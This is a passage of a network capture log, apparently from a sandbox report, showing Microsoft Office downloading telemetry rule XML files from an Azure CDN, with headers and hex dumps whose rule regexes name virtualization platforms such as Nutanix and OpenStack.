T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:05 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:05 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:05 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033405Z-16547b76f7fljddfhC1DFWeqbs00000002z000000000rz6u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:05 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033406Z-16547b76f7fwggrphC1DFW2a8s000000013000000000dsb9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:06 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:06 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 760e684f-301e-0000-24f8-36eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033406Z-164f84587bfsqsthhC1DFWh630000000018000000000pe6y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 03:34:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:06 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:06 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033406Z-16547b76f7fmcv27hC1DFWgpcg000000010000000000easp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 03:34:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:06 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: fc50ab50-c01e-00a2-4413-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033406Z-164f84587bf5xhlshC1DFW604000000002c0000000008z9e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:06 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033406Z-16547b76f7f67wxlhC1DFWah9w0000000p50000000000wqn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:06 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:06 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:06 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ba15ece-101e-0034-5d08-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033406Z-16547b76f7fr28cchC1DFWnuws0000000p3g00000000kw8h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:06 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:06 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:06 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033406Z-16547b76f7fffb7lhC1DFWdsxg00000002bg00000000h1mf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:34:07 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:06 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033407Z-1866b5c5fbb55pxzhC1DFW1aps000000025g00000000hzdp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:06 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:07 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033407Z-16547b76f7fwggrphC1DFW2a8s0000000160000000004bsg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:34:07 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:07 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:07 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: dcb3d461-101e-000b-6d69-355e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033407Z-1866b5c5fbb7lvschC1DFW4rm000000002ag000000002uhn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:07 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:07 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:07 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033407Z-16547b76f7fht2hfhC1DFWbngg00000002qg000000003htb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
